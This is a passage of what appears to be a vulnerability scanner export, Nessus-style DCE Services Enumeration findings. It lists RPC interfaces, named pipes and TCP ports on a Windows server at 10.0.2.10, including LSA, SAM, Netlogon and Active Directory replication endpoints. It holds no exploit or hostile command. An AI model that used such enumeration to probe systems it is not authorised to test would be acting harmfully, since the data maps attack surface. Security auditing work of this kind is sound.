Type : Local RPC service
Named pipe : audit

Object UUID : 9a81c2bd-a525-471d-a4ed-49907c0b23da
UUID : 0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7, version 0.0
Description : Unknown RPC service
Annotation : RemoteAccessCheck
Type : Local RPC service
Named pipe : securityevent

Object UUID : 9a81c2bd-a525-471d-a4ed-49907c0b23da
UUID : 0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7, version 0.0
Description : Unknown RPC service
Annotation : RemoteAccessCheck
Type : Local RPC service
Named pipe : LSARPC_ENDPOINT

Object UUID : 9a81c2bd-a525-471d-a4ed-49907c0b23da
UUID : 0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7, version 0.0
Description : Unknown RPC service
Annotation : RemoteAccessCheck
Type : Local RPC service
Named pipe : lsacap

Object UUID : 9a81c2bd-a525-471d-a4ed-49907c0b23da
UUID : 0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7, version 0.0
Description : Unknown RPC service
Annotation : RemoteAccessCheck
Type : Local RPC service
Named pipe : LSA_EAS_ENDPOINT

Object UUID : 9a81c2bd-a525-471d-a4ed-49907c0b23da
UUID : 0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7, version 0.0
Description : Unknown RPC service
Annotation : RemoteAccessCheck
Type : Local RPC service
Named pipe : lsapolicylookup

Object UUID : 9a81c2bd-a525-471d-a4ed-49907c0b23da
UUID : 0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7, version 0.0
Description : Unknown RPC service
Annotation : RemoteAccessCheck
Type : Local RPC service
Named pipe : lsasspirpc

Object UUID : 9a81c2bd-a525-471d-a4ed-49907c0b23da
UUID : 0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7, version 0.0
Description : Unknown RPC service
Annotation : RemoteAccessCheck
Type : Local RPC service
Named pipe : protected_storage

Object UUID : 9a81c2bd-a525-471d-a4ed-49907c0b23da
UUID : 0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7, version 0.0
Description : Unknown RPC service
Annotation : RemoteAccessCheck
Type : Local RPC service
Named pipe : SidKey Local End Point

Object UUID : 9a81c2bd-a525-471d-a4ed-49907c0b23da
UUID : 0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7, version 0.0
Description : Unknown RPC service
Annotation : RemoteAccessCheck
Type : Local RPC service
Named pipe : samss lpc

Object UUID : 9a81c2bd-a525-471d-a4ed-49907c0b23da
UUID : 0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7, version 0.0
Description : Unknown RPC service
Annotation : RemoteAccessCheck
Type : Local RPC service
Named pipe : OLE0A286D625926C89E8BD6030FD11B

Object UUID : 9a81c2bd-a525-471d-a4ed-49907c0b23da
UUID : 0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7, version 0.0
Description : Unknown RPC service
Annotation : RemoteAccessCheck
Type : Local RPC service
Named pipe : NTDS_LPC

Object UUID : 9a81c2bd-a525-471d-a4ed-49907c0b23da
UUID : 0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7, version 0.0
Description : Unknown RPC service
Annotation : RemoteAccessCheck
Type : Local RPC service
Named pipe : NETLOGON_LRPC

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345678-1234-abcd-ef00-01234567cffb, version 1.0
Description : Network Logon Service
Windows process : lsass.exe
Type : Local RPC service
Named pipe : audit

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345678-1234-abcd-ef00-01234567cffb, version 1.0
Description : Network Logon Service
Windows process : lsass.exe
Type : Local RPC service
Named pipe : securityevent

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345678-1234-abcd-ef00-01234567cffb, version 1.0
Description : Network Logon Service
Windows process : lsass.exe
Type : Local RPC service
Named pipe : LSARPC_ENDPOINT

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345678-1234-abcd-ef00-01234567cffb, version 1.0
Description : Network Logon Service
Windows process : lsass.exe
Type : Local RPC service
Named pipe : lsacap

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345678-1234-abcd-ef00-01234567cffb, version 1.0
Description : Network Logon Service
Windows process : lsass.exe
Type : Local RPC service
Named pipe : LSA_EAS_ENDPOINT

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345678-1234-abcd-ef00-01234567cffb, version 1.0
Description : Network Logon Service
Windows process : lsass.exe
Type : Local RPC service
Named pipe : lsapolicylookup

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345678-1234-abcd-ef00-01234567cffb, version 1.0
Description : Network Logon Service
Windows process : lsass.exe
Type : Local RPC service
Named pipe : lsasspirpc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345678-1234-abcd-ef00-01234567cffb, version 1.0
Description : Network Logon Service
Windows process : lsass.exe
Type : Local RPC service
Named pipe : protected_storage

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345678-1234-abcd-ef00-01234567cffb, version 1.0
Description : Network Logon Service
Windows process : lsass.exe
Type : Local RPC service
Named pipe : SidKey Local End Point

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345678-1234-abcd-ef00-01234567cffb, version 1.0
Description : Network Logon Service
Windows process : lsass.exe
Type : Local RPC service
Named pipe : samss lpc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345678-1234-abcd-ef00-01234567cffb, version 1.0
Description : Network Logon Service
Windows process : lsass.exe
Type : Local RPC service
Named pipe : OLE0A286D625926C89E8BD6030FD11B

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345678-1234-abcd-ef00-01234567cffb, version 1.0
Description : Network Logon Service
Windows process : lsass.exe
Type : Local RPC service
Named pipe : NTDS_LPC

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345678-1234-abcd-ef00-01234567cffb, version 1.0
Description : Network Logon Service
Windows process : lsass.exe
Type : Local RPC service
Named pipe : NETLOGON_LRPC

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : f2c9b409-c1c9-4100-8639-d8ab1486694a, version 1.0
Description : Unknown RPC service
Annotation : Witness Client Upcall Server
Type : Local RPC service
Named pipe : DNSResolver

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : f2c9b409-c1c9-4100-8639-d8ab1486694a, version 1.0
Description : Unknown RPC service
Annotation : Witness Client Upcall Server
Type : Local RPC service
Named pipe : LRPC-9181efc37ca0ca3c45

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : eb081a0d-10ee-478a-a1dd-50995283e7a8, version 3.0
Description : Unknown RPC service
Annotation : Witness Client Test Interface
Type : Local RPC service
Named pipe : DNSResolver

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : eb081a0d-10ee-478a-a1dd-50995283e7a8, version 3.0
Description : Unknown RPC service
Annotation : Witness Client Test Interface
Type : Local RPC service
Named pipe : LRPC-9181efc37ca0ca3c45

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 7f1343fe-50a9-4927-a778-0c5859517bac, version 1.0
Description : Unknown RPC service
Annotation : DfsDs service
Type : Local RPC service
Named pipe : DNSResolver

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 7f1343fe-50a9-4927-a778-0c5859517bac, version 1.0
Description : Unknown RPC service
Annotation : DfsDs service
Type : Local RPC service
Named pipe : LRPC-9181efc37ca0ca3c45

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : dd490425-5325-4565-b774-7e27d6c09c24, version 1.0
Description : Unknown RPC service
Annotation : Base Firewall Engine API
Type : Local RPC service
Named pipe : LRPC-182152c6ebe2db6ca3

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 7f9d11bf-7fb9-436b-a812-b2d50c5d4c03, version 1.0
Description : Unknown RPC service
Annotation : Fw APIs
Type : Local RPC service
Named pipe : LRPC-182152c6ebe2db6ca3

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 7f9d11bf-7fb9-436b-a812-b2d50c5d4c03, version 1.0
Description : Unknown RPC service
Annotation : Fw APIs
Type : Local RPC service
Named pipe : LRPC-3dcee625f24df78bc8

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : f47433c3-3e9d-4157-aad4-83aa1f5c2d4c, version 1.0
Description : Unknown RPC service
Annotation : Fw APIs
Type : Local RPC service
Named pipe : LRPC-182152c6ebe2db6ca3

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : f47433c3-3e9d-4157-aad4-83aa1f5c2d4c, version 1.0
Description : Unknown RPC service
Annotation : Fw APIs
Type : Local RPC service
Named pipe : LRPC-3dcee625f24df78bc8

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 2fb92682-6599-42dc-ae13-bd2ca89bd11c, version 1.0
Description : Unknown RPC service
Annotation : Fw APIs
Type : Local RPC service
Named pipe : LRPC-182152c6ebe2db6ca3

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 2fb92682-6599-42dc-a		None

		10736						None		10.0.2.10		tcp		445		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available remotely :

Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
Description : Unknown RPC service
Type : Remote RPC service
Named pipe : \PIPE\InitShutdown
Netbios name : \\SERVER2012

Object UUID : b08669ee-8cb5-43a5-a017-84fe00000000
UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
Description : Unknown RPC service
Type : Remote RPC service
Named pipe : \PIPE\InitShutdown
Netbios name : \\SERVER2012

Object UUID : 7364746e-0000-0000-0000-000000000000
UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
Description : Unknown RPC service
Annotation : Impl friendly name
Type : Remote RPC service
Named pipe : \pipe\lsass
Netbios name : \\SERVER2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : e3514235-4b06-11d1-ab04-00c04fc2dcd2, version 4.0
Description : Active Directory Replication Interface
Windows process : unknown
Annotation : MS NT Directory DRS Interface
Type : Remote RPC service
Named pipe : \pipe\lsass
Netbios name : \\SERVER2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : e3514235-4b06-11d1-ab04-00c04fc2dcd2, version 4.0
Description : Active Directory Replication Interface
Windows process : unknown
Annotation : MS NT Directory DRS Interface
Type : Remote RPC service
Named pipe : \pipe\5468766d79c9c593
Netbios name : \\SERVER2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ab, version 0.0
Description : Local Security Authority
Windows process : lsass.exe
Type : Remote RPC service
Named pipe : \pipe\lsass
Netbios name : \\SERVER2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ab, version 0.0
Description : Local Security Authority
Windows process : lsass.exe
Type : Remote RPC service
Named pipe : \pipe\5468766d79c9c593
Netbios name : \\SERVER2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
Description : Security Account Manager
Windows process : lsass.exe
Type : Remote RPC service
Named pipe : \pipe\lsass
Netbios name : \\SERVER2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
Description : Security Account Manager
Windows process : lsass.exe
Type : Remote RPC service
Named pipe : \pipe\5468766d79c9c593
Netbios name : \\SERVER2012

Object UUID : 5fc860e0-6f6e-4fc2-83cd-46324f25e90b
UUID : 0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7, version 0.0
Description : Unknown RPC service
Annotation : RemoteAccessCheck
Type : Remote RPC service
Named pipe : \pipe\lsass
Netbios name : \\SERVER2012

Object UUID : 5fc860e0-6f6e-4fc2-83cd-46324f25e90b
UUID : 0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7, version 0.0
Description : Unknown RPC service
Annotation : RemoteAccessCheck
Type : Remote RPC service
Named pipe : \pipe\5468766d79c9c593
Netbios name : \\SERVER2012

Object UUID : 9a81c2bd-a525-471d-a4ed-49907c0b23da
UUID : 0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7, version 0.0
Description : Unknown RPC service
Annotation : RemoteAccessCheck
Type : Remote RPC service
Named pipe : \pipe\lsass
Netbios name : \\SERVER2012

Object UUID : 9a81c2bd-a525-471d-a4ed-49907c0b23da
UUID : 0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7, version 0.0
Description : Unknown RPC service
Annotation : RemoteAccessCheck
Type : Remote RPC service
Named pipe : \pipe\5468766d79c9c593
Netbios name : \\SERVER2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345678-1234-abcd-ef00-01234567cffb, version 1.0
Description : Network Logon Service
Windows process : lsass.exe
Type : Remote RPC service
Named pipe : \pipe\lsass
Netbios name : \\SERVER2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345678-1234-abcd-ef00-01234567cffb, version 1.0
Description : Network Logon Service
Windows process : lsass.exe
Type : Remote RPC service
Named pipe : \pipe\5468766d79c9c593
Netbios name : \\SERVER2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 7f1343fe-50a9-4927-a778-0c5859517bac, version 1.0
Description : Unknown RPC service
Annotation : DfsDs service
Type : Remote RPC service
Named pipe : \PIPE\wkssvc
Netbios name : \\SERVER2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, version 1.0
Description : Scheduler Service
Windows process : svchost.exe
Type : Remote RPC service
Named pipe : \PIPE\atsvc
Netbios name : \\SERVER2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, version 1.0
Description : Scheduler Service
Windows process : svchost.exe
Type : Remote RPC service
Named pipe : \PIPE\atsvc
Netbios name : \\SERVER2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
Description : Unknown RPC service
Type : Remote RPC service
Named pipe : \PIPE\atsvc
Netbios name : \\SERVER2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3a9ef155-691d-4449-8d05-09ad57031823, version 1.0
Description : Unknown RPC service
Type : Remote RPC service
Named pipe : \PIPE\atsvc
Netbios name : \\SERVER2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
Description : Unknown RPC service
Annotation : XactSrv service
Type : Remote RPC service
Named pipe : \PIPE\atsvc
Netbios name : \\SERVER2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 1a0d010f-1c33-432c-b0f5-8cf4e8053099, version 1.0
Description : Unknown RPC service
Annotation : IdSegSrv service
Type : Remote RPC service
Named pipe : \PIPE\atsvc
Netbios name : \\SERVER2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : a398e520-d59a-4bdd-aa7a-3c1e0303a511, version 1.0
Description : Unknown RPC service
Annotation : IKE/Authip API
Type : Remote RPC service
Named pipe : \PIPE\atsvc
Netbios name : \\SERVER2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : a398e520-d59a-4bdd-aa7a-3c1e0303a511, version 1.0
Description : Unknown RPC service
Annotation : IKE/Authip API
Type : Remote RPC service
Named pipe : \PIPE\srvsvc
Netbios name : \\SERVER2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
Description : Unknown RPC service
Annotation : IP Transition Configuration endpoint
Type : Remote RPC service
Named pipe : \PIPE\atsvc
Netbios name : \\SERVER2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
Description : Unknown RPC service
Annotation : IP Transition Configuration endpoint
Type : Remote RPC service
Named pipe : \PIPE\srvsvc
Netbios name : \\SERVER2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 2e6035b2-e8f1-41a7-a044-656b439c4c34, version 1.0
Description : Unknown RPC service
Annotation : Proxy Manager provider server endpoint
Type : Remote RPC service
Named pipe : \PIPE\atsvc
Netbios name : \\SERVER2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 2e6035b2-e8f1-41a7-a044-656b439c4c34, version 1.0
Description : Unknown RPC service
Annotation : Proxy Manager provider server endpoint
Type : Remote RPC service
Named pipe : \PIPE\srvsvc
Netbios name : \\SERVER2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : c36be077-e14b-4fe9-8abc-e856ef4f048b, version 1.0
Description : Unknown RPC service
Annotation : Proxy Manager client server endpoint
Type : Remote RPC service
Named pipe : \PIPE\atsvc
Netbios name : \\SERVER2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : c36be077-e14b-4fe9-8abc-e856ef4f048b, version 1.0
Description : Unknown RPC service
Annotation : Proxy Manager client server endpoint
Type : Remote RPC service
Named pipe : \PIPE\srvsvc
Netbios name : \\SERVER2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : c49a5a70-8a7f-4e70-ba16-1e8f1f193ef1, version 1.0
Description : Unknown RPC service
Annotation : Adh APIs
Type : Remote RPC service
Named pipe : \PIPE\atsvc
Netbios name : \\SERVER2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : c49a5a70-8a7f-4e70-ba16-1e8f1f193ef1, version 1.0
Description : Unknown RPC service
Annotation : Adh APIs
Type : Remote RPC service
Named pipe : \PIPE\srvsvc
Netbios name : \\SERVER2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
Description : Unknown RPC service
Type : Remote RPC service
Named pipe : \PIPE\atsvc
Netbios name : \\SERVER2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
Description : Unknown RPC service
Type : Remote RPC service
Named pipe : \PIPE\srvsvc
Netbios name : \\SERVER2012

Object UUID : 73736573-6f69-656e-6e76-000000000000
UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
Description : Unknown RPC service
Annotation : Impl friendly name
Type : Remote RPC service
Named pipe : \PIPE\atsvc
Netbios name : \\SERVER2012

Object UUID : 73736573-6f69-656e-6e76-000000000000
UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
Description : Unknown RPC service
Annotation : Impl friendly name
Type : Remote RPC service
Named pipe : \PIPE\srvsvc
Netbios name : \\SERVER2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : f6beaff7-1e19-4fbb-9f8f-b89e2018337c, version 1.0
Description : Unknown RPC service
Annotation : Event log TCPIP
Type : Remote RPC service
Named pipe : \pipe\eventlog
Netbios name : \\SERVER2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1.0
Description : Unknown RPC service
Annotation : NRP server endpoint
Type : Remote RPC service
Named pipe : \pipe\eventlog
Netbios name : \\SERVER2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : abfb6ca3-0c5e-4734-9285-0aee72fe8d1c, version 1.0
Description : Unknown RPC service
Annotation : Wcm Service
Type : Remote RPC service
Named pipe : \pipe\eventlog
Netbios name : \\SERVER2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
Description : Unknown RPC service
Annotation : DHCPv6 Client LRPC Endpoint
Type : Remote RPC service
Named pipe : \pipe\eventlog
Netbios name : \\SERVER2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
Description : DHCP Client Service
Windows process : svchost.exe
Annotation : DHCP Client LRPC Endpoint
Type : Remote RPC service
Named pipe : \pipe\eventlog
Netbios name : \\SERVER2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 697dcda9-3ba9-4eb2-9247-e11f1901b0d2, version 1.0
Description : Unknown RPC service
Type : Remote RPC service
Named pipe : \pipe\LSM_API_service
Netbios name : \\SERVER2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 9b008953-f195-4bf9-bde0-4471971e58ed, version 1.0
Description : Unknown RPC service
Type : Remote RPC service
Named pipe : \pipe\LSM_API_service
Netbios name : \\SERVER2012

		None

		10736						None		10.0.2.10		tcp		1025		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available on TCP port 1025 :

Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
Description : Unknown RPC service
Type : Remote RPC service
TCP Port : 1025
IP : 10.0.2.10

		None

		10736						None		10.0.2.10		tcp		1026		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available on TCP port 1026 :

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : f6beaff7-1e19-4fbb-9f8f-b89e2018337c, version 1.0
Description : Unknown RPC service
Annotation : Event log TCPIP
Type : Remote RPC service
TCP Port : 1026
IP : 10.0.2.10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1.0
Description : Unknown RPC service
Annotation : NRP server endpoint
Type : Remote RPC service
TCP Port : 1026
IP : 10.0.2.10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : abfb6ca3-0c5e-4734-9285-0aee72fe8d1c, version 1.0
Description : Unknown RPC service
Annotation : Wcm Service
Type : Remote RPC service
TCP Port : 1026
IP : 10.0.2.10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
Description : Unknown RPC service
Annotation : DHCPv6 Client LRPC Endpoint
Type : Remote RPC service
TCP Port : 1026
IP : 10.0.2.10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
Description : DHCP Client Service
Windows process : svchost.exe
Annotation : DHCP Client LRPC Endpoint
Type : Remote RPC service
TCP Port : 1026
IP : 10.0.2.10

		None

		10736						None		10.0.2.10		tcp		1027		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available on TCP port 1027 :

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
Description : Unknown RPC service
Type : Remote RPC service
TCP Port : 1027
IP : 10.0.2.10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3a9ef155-691d-4449-8d05-09ad57031823, version 1.0
Description : Unknown RPC service
Type : Remote RPC service
TCP Port : 1027
IP : 10.0.2.10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
Description : Unknown RPC service
Annotation : XactSrv service
Type : Remote RPC service
TCP Port : 1027
IP : 10.0.2.10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 1a0d010f-1c33-432c-b0f5-8cf4e8053099, version 1.0
Description : Unknown RPC service
Annotation : IdSegSrv service
Type : Remote RPC service
TCP Port : 1027
IP : 10.0.2.10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : a398e520-d59a-4bdd-aa7a-3c1e0303a511, version 1.0
Description : Unknown RPC service
Annotation : IKE/Authip API
Type : Remote RPC service
TCP Port : 1027
IP : 10.0.2.10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
Description : Unknown RPC service
Annotation : IP Transition Configuration endpoint
Type : Remote RPC service
TCP Port : 1027
IP : 10.0.2.10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 2e6035b2-e8f1-41a7-a044-656b439c4c34, version 1.0
Description : Unknown RPC service
Annotation : Proxy Manager provider server endpoint
Type : Remote RPC service
TCP Port : 1027
IP : 10.0.2.10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : c36be077-e14b-4fe9-8abc-e856ef4f048b, version 1.0
Description : Unknown RPC service
Annotation : Proxy Manager client server endpoint
Type : Remote RPC service
TCP Port : 1027
IP : 10.0.2.10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : c49a5a70-8a7f-4e70-ba16-1e8f1f193ef1, version 1.0
Description : Unknown RPC service
Annotation : Adh APIs
Type : Remote RPC service
TCP Port : 1027
IP : 10.0.2.10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
Description : Unknown RPC service
Type : Remote RPC service
TCP Port : 1027
IP : 10.0.2.10

Object UUID : 73736573-6f69-656e-6e76-000000000000
UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
Description : Unknown RPC service
Annotation : Impl friendly name
Type : Remote RPC service
TCP Port : 1027
IP : 10.0.2.10

		None

		10736						None		10.0.2.10		tcp		1028		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available on TCP port 1028 :

Object UUID : 7364746e-0000-0000-0000-000000000000
UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
Description : Unknown RPC service
Annotation : Impl friendly name
Type : Remote RPC service
TCP Port : 1028
IP : 10.0.2.10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : e3514235-4b06-11d1-ab04-00c04fc2dcd2, version 4.0
Description : Active Directory Replication Interface
Windows process : unknown
Annotation : MS NT Directory DRS Interface
Type : Remote RPC service
TCP Port : 1028
IP : 10.0.2.10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ab, version 0.0
Description : Local Security Authority
Windows process : lsass.exe
Type : Remote RPC service
TCP Port : 1028
IP : 10.0.2.10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
Description : Security Account Manager
Windows process : lsass.exe
Type : Remote RPC service
TCP Port : 1028
IP : 10.0.2.10

Object UUID : 5fc860e0-6f6e-4fc2-83cd-46324f25e90b
UUID : 0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7, version 0.0
Description : Unknown RPC service
Annotation : RemoteAccessCheck
Type : Remote RPC service
TCP Port : 1028
IP : 10.0.2.10

Object UUID : 9a81c2bd-a525-471d-a4ed-49907c0b23da
UUID : 0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7, version 0.0
Description : Unknown RPC service
Annotation : RemoteAccessCheck
Type : Remote RPC service
TCP Port : 1028
IP : 10.0.2.10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345678-1234-abcd-ef00-01234567cffb, version 1.0
Description : Network Logon Service
Windows process : lsass.exe
Type : Remote RPC service
TCP Port : 1028
IP : 10.0.2.10

		None

		10736						None		10.0.2.10		tcp		1031		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available on TCP port 1031 :

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
Description : Security Account Manager
Windows process : lsass.exe
Type : Remote RPC service
TCP Port : 1031
IP : 10.0.2.10

Object UUID : 5fc860e0-6f6e-4fc2-83cd-46324f25e90b
UUID : 0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7, version 0.0
Description : Unknown RPC service
Annotation : RemoteAccessCheck
Type : Remote RPC service
TCP Port : 1031
IP : 10.0.2.10

Object UUID : 9a81c2bd-a525-471d-a4ed-49907c0b23da
UUID : 0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7, version 0.0
Description : Unknown RPC service
Annotation : RemoteAccessCheck
Type : Remote RPC service
TCP Port : 1031
IP : 10.0.2.10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345678-1234-abcd-ef00-01234567cffb, version 1.0
Description : Network Logon Service
Windows process : lsass.exe
Type : Remote RPC service
TCP Port : 1031
IP : 10.0.2.10

		None

		10736						None		10.0.2.10		tcp		1032		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available on TCP port 1032 :

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345678-1234-abcd-ef00-0123456789ab, version 1.0
Description : IPsec Services (Windows XP & 2003)
Windows process : lsass.exe
